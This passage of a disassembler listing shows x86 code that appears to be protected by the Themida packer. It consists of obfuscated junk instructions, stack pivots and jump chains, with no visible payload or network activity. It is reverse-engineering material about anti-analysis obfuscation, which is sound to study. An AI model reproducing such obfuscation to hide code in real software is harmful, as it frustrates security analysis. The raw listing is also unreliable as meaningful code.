; START	OF FUNCTION CHUNK FOR sub_585452


loc_58ABCE:				; CODE XREF: sub_585452+507Dj
		pop	esp
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, 1
		and	ecx, eax
		pop	eax
		shr	ecx, 0
		or	eax, eax
		jz	sub_58DCD4
		push	9A6h
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, esp
		add	eax, 4
		jmp	sub_58AB18
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58ABF9:				; CODE XREF: Themida_:005864E1j
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7CA13C01h
		jmp	loc_58EC5C
; ---------------------------------------------------------------------------


loc_58AC14:				; CODE XREF: Themida_:00588666j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_58414B
; ---------------------------------------------------------------------------


loc_58AC27:				; CODE XREF: Themida_:0058EA5Dj
		xor	ecx, esi
		jmp	loc_58AFE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B758


loc_58AC2E:				; CODE XREF: sub_58B758+3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_586516
; END OF FUNCTION CHUNK	FOR sub_58B758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58AC43:				; CODE XREF: sub_58CCD7+3j
		add	ebx, 4
		push	ecx
		mov	ecx, 6B3C3E55h
		jmp	loc_58D311
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------


loc_58AC54:				; CODE XREF: Themida_:00584059j
		add	dword ptr [esp], 4
		jmp	loc_58AB0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AC60:				; CODE XREF: sub_585452+6C7j
		mov	edx, [esp+0]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		jmp	sub_58622C
; ---------------------------------------------------------------------------


loc_58AC7B:				; CODE XREF: sub_585452-4E9j
		pop	esi
		pop	[esp-0Eh+arg_8+2]
		mov	esp, [esp-12h+arg_E]
		test	ecx, eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58AC8A:				; CODE XREF: sub_585452-198j
		and	eax, 80269DDh
		xor	eax, 26BCCh
		mov	esi, eax
		pop	eax
		and	eax, esi
		pop	esi
		jmp	loc_58C10B
; ---------------------------------------------------------------------------


loc_58AC9F:				; CODE XREF: sub_585452+21Aj
		pop	esp
		mov	[esp-22h+arg_1E], edx
		pop	dword ptr [edi+20h]
		jmp	loc_58CDB4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58ACAB:				; CODE XREF: sub_58999B-38FFj
		add	edx, 75821ACAh
		jmp	loc_587658
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_58ACB6:				; CODE XREF: Themida_:0058D516j
		add	eax, 79279C5h
		jmp	loc_58BA01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58ACC0:				; CODE XREF: sub_585452+C7Fj
		add	esp, 4
		mov	eax, [esp+0Ah+var_C+2]
		push	ebp
		jmp	loc_5862E1
; ---------------------------------------------------------------------------


loc_58ACCC:				; CODE XREF: sub_585452+5E35j
		push	[esp+0Eh+var_C+2]
		jmp	loc_58E779
; ---------------------------------------------------------------------------


loc_58ACD5:				; CODE XREF: sub_585452+6DD9j
		xor	ebp, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebp
		jmp	loc_587A51
; ---------------------------------------------------------------------------


loc_58ACE0:				; CODE XREF: sub_585452+85Cj
		pop	edx
		shr	ecx, 6
		jmp	loc_58E3EC
; ---------------------------------------------------------------------------


loc_58ACE9:				; CODE XREF: sub_585452+288j
		add	esp, 4
		sub	edi, 4
		xor	edi, [esp-12h+arg_E]
		xor	[esp-12h+arg_E], edi
		jmp	loc_585669
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_58FC58
; ---------------------------------------------------------------------------


loc_58AD0B:				; CODE XREF: Themida_:0058F07Dj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58C2D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AD22:				; CODE XREF: sub_585452+6251j
		neg	eax
		and	eax, 6C957D53h
		add	eax, 0E4D3247Fh
		add	ebx, eax
		pop	eax
		mov	edi, [esp-16h+arg_12]
		jmp	loc_58D1D3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585019


loc_58AD39:				; CODE XREF: sub_585019-666j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58E782
; END OF FUNCTION CHUNK	FOR sub_585019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AD50:				; CODE XREF: sub_585452-1384j
		push	edx
		mov	edx, esp
		jmp	loc_58B1E3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	6089h
		push	esp
		jmp	loc_58FDC5
; ---------------------------------------------------------------------------


loc_58AD68:				; CODE XREF: Themida_:00584B24j
		push	ecx
		mov	cx, 3CDCh
		jmp	loc_58EC1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589972


loc_58AD72:				; CODE XREF: sub_589972+6j
		mov	[esp+0], edi
		mov	edi, 46CA635Ch
		mov	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		inc	ebx
		jmp	loc_58D2BB
; END OF FUNCTION CHUNK	FOR sub_589972
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AD86:				; CODE XREF: sub_585452+9FC8j
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586B0E


loc_58AD8B:				; CODE XREF: sub_586B0E+73ECj
		shr	edi, 3
		neg	edi
		jmp	sub_58BE98
; END OF FUNCTION CHUNK	FOR sub_586B0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AD95:				; CODE XREF: sub_585452+72A1j
		mov	ah, 9Fh
		jmp	loc_58EAAF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A26F


loc_58AD9C:				; CODE XREF: sub_58A26F-3C29j
		add	ebx, ebp
		pop	ebp
		push	eax
		push	ecx
		push	6E4D09D6h
		jmp	loc_58B777
; END OF FUNCTION CHUNK	FOR sub_58A26F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58ADAB:				; CODE XREF: sub_585452+4294j
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp-24h+arg_1E+2]
		mov	esp, [esp-24h+arg_1E+2]
		jmp	loc_586FA4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58ADC4:				; CODE XREF: Themida_:0058BFA7j
		shr	si, 8
		xor	si, 6FBDh
		shl	si, 1
		add	si, 270Ah
		add	ax, si
		pop	esi
		sub	ax, cx
		sub	ax, 5FEh
		add	ax, 7E9Bh
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		sub	ax, bx
		add	ax, 22E1h
		push	25D8h
		mov	[esp], ebp
		mov	bp, 2646h
		push	bx
		mov	bx, 3B8Ch
		xor	bp, bx
		mov	bx, [esp]
		push	esi
		jmp	loc_587233
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AE24:				; CODE XREF: sub_585452+7FCAj
		push	esi
		push	eax
		mov	eax, 7E71083h
		sub	[esp-1Ch+arg_1A+2], 7BF445A8h
		add	[esp-1Ch+arg_1A+2], eax
		push	edx
		push	ebp
		jmp	loc_588A5A
; ---------------------------------------------------------------------------


loc_58AE3E:				; CODE XREF: sub_585452+3661j
		shr	ch, 4
		sub	ch, 0E1h
		push	eax
		mov	ah, 44h
		jmp	loc_58A818
; ---------------------------------------------------------------------------


loc_58AE4C:				; CODE XREF: sub_585452-12EBj
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		and	[edi+1Ch], ecx
		mov	ecx, [esp-0Ch+arg_8]
		push	esi
		mov	esi, esp
		jmp	loc_58B38B
; ---------------------------------------------------------------------------


loc_58AE60:				; CODE XREF: sub_585452-8C3j
		add	ebx, 4
		xchg	ebx, [esp-14h+arg_E+2]
		mov	esp, [esp-14h+arg_E+2]
		push	ebx
		mov	ebx, 3C347482h
		jmp	loc_584BD0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_58AE74:				; CODE XREF: sub_5B5756-31911j
		mov	dh, ch
		jmp	loc_58BE67
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58AE7B:				; CODE XREF: sub_587574+1j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_589363
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5886E0


loc_58AE88:				; CODE XREF: sub_5886E0+15j
		pop	edi
		xor	edi, 0F405048h
		add	ebp, edi
		pop	edi
		push	esi
		jmp	loc_586858
; END OF FUNCTION CHUNK	FOR sub_5886E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AE98:				; CODE XREF: sub_585452+4FF7j
		xor	[esp-2Ah+arg_28+2], edi
		mov	edi, [esp-2Ah+arg_24+2]
		add	esp, 4
		mov	eax, [esp-2Eh+arg_28+2]
		push	ebp
		jmp	loc_584C6D
; ---------------------------------------------------------------------------


loc_58AEAE:				; CODE XREF: sub_585452+84E3j
		add	eax, 145D98F3h
		mov	esi, eax
		pop	eax
		shr	esi, 7
		not	esi
		dec	esi
		shl	esi, 7
		dec	esi
		xor	esi, 0FC08B3A9h
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		add	ebx, 16FC18D6h
		jmp	loc_58CB2F
; ---------------------------------------------------------------------------


loc_58AED6:				; CODE XREF: sub_585452+15Fj
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 652956F1h
		push	edi
		push	esi
		mov	esi, 691670EDh
		mov	edi, 0C3F2618h
		xor	edi, esi
		pop	esi
		xor	ecx, edi
		pop	edi
		add	esi, 6EEE799Dh
		add	esi, ecx
		jmp	loc_5892E3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58AF03:				; CODE XREF: sub_58FA66-1E48j
		pop	esp
		mov	[esp-10h+arg_C], eax
		mov	eax, 529267B4h
		push	0
		sub	[esp-0Ch+arg_8], eax
		pop	eax
		and	eax, 476E6FBCh
		jmp	loc_58FEC9
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58AF1F:				; CODE XREF: sub_58EFBD+ED5j
		add	eax, 49C06FBAh
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+0Ch+var_8]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		pop	[esp+0Ch+var_C]
		pop	esp
		push	18C1h
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	11F1h
		mov	[esp+8+var_8], edx
		jmp	loc_5868AB
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58AF72:				; CODE XREF: Themida_:0058B083j
		xchg	ebx, edi
		pop	ebx
		xor	edi, 90CBB9F9h
		mov	ebx, edi
		pop	edi
		add	dword ptr [esp+4], 6A9132BCh
		jmp	loc_5851B1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58680E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AF96:				; CODE XREF: sub_585452+63Fj
		pop	esp
		sub	cl, ah
		pop	ax
		add	cl, 0C8h
		xor	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+44h+var_44], edi
		jmp	loc_58D170
; ---------------------------------------------------------------------------


loc_58AFAC:				; CODE XREF: sub_585452+5E3Dj
		mov	esp, [esp+44h+var_44]
		jmp	loc_5881D7
; ---------------------------------------------------------------------------


loc_58AFB4:				; CODE XREF: sub_585452+4AD8j
		pop	ebx
		add	ecx, 0FEBF8F03h
		sub	edi, ecx
		jmp	loc_58A359
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58AFC2:				; CODE XREF: Themida_:00586EDBj
		push	edx
		push	5FDh
		jmp	loc_58C1AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58AFCD:				; CODE XREF: sub_58FA66-1488j
		add	ecx, esi
		sub	ecx, 352D783Ah
		mov	esi, [esp-10h+arg_C]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_586FCA
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58AFE9:				; CODE XREF: Themida_:0058AC29j
		pop	esi
		mov	edx, ecx
		pop	ecx
		push	ebx
		jmp	loc_585DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58AFF3:				; CODE XREF: sub_585452+314Bj
		add	edx, 0FFFFFFFFh
		add	edx, 0A7FED005h
		jmp	loc_58F92F
; ---------------------------------------------------------------------------


loc_58B004:				; CODE XREF: sub_585452+48Fj
		pop	edx
		pop	[esp+46h+var_48+2]
		pop	esp
		push	esp
		pop	[esp+42h+var_44+2]
		push	eax
		push	ebx
		push	edx
		push	262F24D5h
		jmp	loc_585BEC
; ---------------------------------------------------------------------------


loc_58B01A:				; CODE XREF: sub_585452+201Cj
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58B031
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B025:				; CODE XREF: Themida_:00588973j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5887B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B031:				; CODE XREF: sub_585452+5BCEj
		push	dword ptr [esp+0]
		push	[esp+2+var_4+2]
		pop	eax
		push	3F29h
		mov	[esp+6+var_8+2], edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		push	edx
		push	22F5h
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		mov	edx, [esp+0Ah+var_C+2]
		jmp	loc_58E668
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B06A:				; CODE XREF: Themida_:0058F875j
		mov	edi, 1461052Bh
		xor	edi, 5D0C4F00h
		xor	edi, 327A5F5Fh
		push	ebx
		mov	ebx, 0
		sub	ebx, edi
		jmp	loc_58AF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B088:				; CODE XREF: sub_585452+38DBj
		xor	esi, 42335F56h
		sub	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0], edi
		push	ecx
		mov	ecx, 708A3525h
		jmp	loc_58B7DD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B0A5:				; CODE XREF: Themida_:0058F077j
		neg	edi
		sub	edi, 4631C35Dh
		add	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		jmp	loc_586346
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B0BA:				; CODE XREF: sub_585452-10E6j
		xor	ebx, 342FEE64h
		xor	edx, ebx
		jmp	loc_58A0AD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B0C7:				; CODE XREF: Themida_:00584326j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_584AF0
; ---------------------------------------------------------------------------


loc_58B0D1:				; CODE XREF: Themida_:0058CCB6j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		jmp	loc_586785
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B0E1:				; CODE XREF: sub_585452+CEAj
		sub	eax, edx
		mov	edx, eax
		jmp	loc_58FE30
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_58B0EA:				; CODE XREF: sub_58622C+6802j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		mov	edx, 9CD0585h
		xor	edi, edx
		pop	edx
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_58653A
		push	378Fh
		mov	[esp-4+arg_0], edx
		push	1Ch
		pop	edx
		push	eax
		mov	eax, 0B9D2F77h
		and	eax, 79DC47DBh
		push	edx
		mov	edx, 7911F0Fh
		xor	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		add	edx, edi
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 416C6BC9h
		jmp	loc_5854CC
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B147:				; CODE XREF: sub_585452+6BCBj
		push	750Eh
		mov	[esp+26h+var_28+2], edx
		jmp	sub_58DEA3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58B154:				; CODE XREF: sub_589C10-2021j
		add	eax, 55DA376Eh
		add	edx, eax
		pop	eax
		add	edx, ecx
		push	esi
		mov	esi, 461F2206h
		or	esi, 5B172DE9h
		add	esi, 360930A3h
		inc	esi
		add	esi, 203A54A4h
		jmp	loc_58FBA2
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------


loc_58B17C:				; CODE XREF: Themida_:0058EE5Bj
		pop	edi
		xor	ebx, eax
		sub	edx, 49AD1FCBh
		sub	edx, 422D58B6h
		sub	edx, eax
		add	edx, 422D58B6h
		push	eax
		push	55F0h
		jmp	loc_586B1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B19E:				; CODE XREF: sub_585452+366Aj
		push	edx
		mov	edx, 28h
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 36A530A9h
		add	edx, eax
		push	[esp-0Ch+arg_8]
		pop	eax
		add	esp, 4
		jmp	loc_5860F0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B1C0:				; CODE XREF: Themida_:0058FEF7j
		mov	[esp], ebp
		push	esp
		jmp	loc_585F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5886E0


loc_58B1C9:				; CODE XREF: sub_5886E0+11C6j
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		sub	ebp, ecx
		pop	ecx
		xor	ebp, [esp+8+var_8]
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], cx
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_5886E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B1E3:				; CODE XREF: sub_585452+5901j
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_588432
; ---------------------------------------------------------------------------


loc_58B1FA:				; CODE XREF: sub_585452+1B2Aj
		push	esp
		jmp	loc_586CD7
; ---------------------------------------------------------------------------


loc_58B200:				; CODE XREF: sub_585452+7E64j
		pop	esi
		sub	esp, 4
		jmp	loc_587272
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B20C:				; CODE XREF: Themida_:0058BBDCj
		mov	ebp, 399C0704h
		xor	ebp, 766B6241h
		shl	ebp, 8
		sub	ebp, 0F76544FCh
		mov	edx, ebp
		jmp	loc_588964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B227:				; CODE XREF: sub_585452+7B7Cj
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58B22C:				; CODE XREF: sub_58CCD7+6C5j
		push	5CAF3F13h
		pop	ebx
		sub	ebx, 6EBE7C64h
		sub	ebx, 4A9F7AEDh
		not	ebx
		xor	ebx, 6C709CF5h
		mov	eax, ebx
		pop	ebx
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		or	edx, eax
		jmp	loc_58B31D
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58B260:				; CODE XREF: sub_58EFBD+12j
		push	esp
		jmp	loc_58CE7C
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58B266:				; CODE XREF: sub_58F728-1D35j
		and	ebp, 1B775AC2h
		or	ebp, 6F91F34h
		xor	ebp, 17FD1FF0h
		jmp	loc_58D4D5
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B27D:				; CODE XREF: sub_585452+E91j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_58ACCC
; ---------------------------------------------------------------------------


loc_58B28C:				; CODE XREF: sub_585452+172Cj
		pop	dword ptr [esp+0]
		jmp	loc_58AFAC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58B294:				; CODE XREF: sub_589C10-3C2Fj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		push	eax
		mov	eax, 412665E0h
		add	eax, 1
		jmp	loc_587BEA
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58B2C7:				; CODE XREF: sub_58AB18+2EADj
		sub	edx, 4
		xchg	edx, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], eax
		jmp	sub_58D97C
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E234


loc_58B2D6:				; CODE XREF: sub_58E234+18j
		pop	esp
		jmp	loc_58CFD3
; END OF FUNCTION CHUNK	FOR sub_58E234
; ---------------------------------------------------------------------------


loc_58B2DC:				; CODE XREF: Themida_:00588965j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B2EE:				; CODE XREF: sub_585452+378Dj
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58D32B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B302:				; CODE XREF: Themida_:00589121j
		mov	esp, [esp]
		mov	cx, [esp]
		push	19D9h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58CE2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58B31D:				; CODE XREF: sub_58CCD7-1A7Cj
		shl	edx, 1
		push	1880h
		mov	[esp+0], ebx
		mov	ebx, 1
		push	ecx
		jmp	loc_58E346
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5878BB


loc_58B332:				; CODE XREF: sub_5878BB+1Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		add	[esp+arg_0], 4F7A67E2h
		sub	[esp+arg_0], ecx
		sub	[esp+arg_0], 4F7A67E2h
		pop	ecx
		jmp	loc_58BCA4
; END OF FUNCTION CHUNK	FOR sub_5878BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A4F5


loc_58B35E:				; CODE XREF: sub_58A4F5-2E0Aj
		mov	cl, bh
		pop	ebx
		shr	cl, 8
		add	cl, 7Dh
		push	ebx
		mov	bh, 0F1h
		sub	bh, 4Bh
		and	cl, bh
		jmp	loc_588493
; END OF FUNCTION CHUNK	FOR sub_58A4F5
; ---------------------------------------------------------------------------
		push	5AC3h
		mov	[esp], edx
		jmp	loc_588A6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C31F


loc_58B381:				; CODE XREF: sub_58C31F+7j
		and	eax, 0E123732h
		jmp	loc_58C8DB
; END OF FUNCTION CHUNK	FOR sub_58C31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B38B:				; CODE XREF: sub_585452+5A09j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58B39D:				; CODE XREF: sub_585452+D1Bj
		sub	ch, bl
		jmp	loc_585323
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58B3A4:				; CODE XREF: sub_58F728-224Dj
		pop	esp
		push	77CBh
		jmp	loc_586256
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B3AF:				; CODE XREF: sub_585452-69Dj
		mov	eax, [esp-1Eh+arg_1A]
		add	esp, 4
		xchg	esi, [esp-22h+arg_1E]
		mov	esp, [esp-22h+arg_1E]
		ror	[esp-22h+arg_1E], cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58B3C4:				; CODE XREF: sub_585452+3ADDj
		shr	ecx, 3
		jmp	loc_58B852
; ---------------------------------------------------------------------------


loc_58B3CC:				; CODE XREF: sub_585452+7DA1j
		btc	word ptr [esp-1Ah+arg_16], ax
		pushf
		jmp	loc_58DA3A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B3D7:				; CODE XREF: Themida_:00587FA4j
		push	edi
		mov	edi, 255562h
		push	edx
		jmp	loc_58C72B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B3E3:				; CODE XREF: sub_585452+A4C1j
		push	edi
		mov	edi, esp
		jmp	loc_588E1E
; ---------------------------------------------------------------------------


loc_58B3EB:				; CODE XREF: sub_585452+661j
		pop	esi
		add	esi, 62DE0A87h
		jmp	loc_5858F1
; ---------------------------------------------------------------------------


loc_58B3F7:				; CODE XREF: sub_585452+801j
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_58BC76
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_58B402:				; CODE XREF: sub_58DA2E-7225j
		pop	ebx
		push	ebx
		jmp	loc_58BC9B
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_58B409:				; CODE XREF: Themida_:005886DBj
		push	5394h
		mov	[esp], ebx
		mov	bh, 26h
		jmp	loc_58CBC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B418:				; CODE XREF: sub_585452+771Aj
		push	edi
		push	725Eh
		mov	[esp+4+var_4], ebx
		add	[esp+4+var_4], 322F4CF4h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, 4F6A1517h
		xor	ecx, 7D4559E3h
		jmp	loc_589F42
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B43F:				; CODE XREF: Themida_:0058EB18j
		add	edx, 4
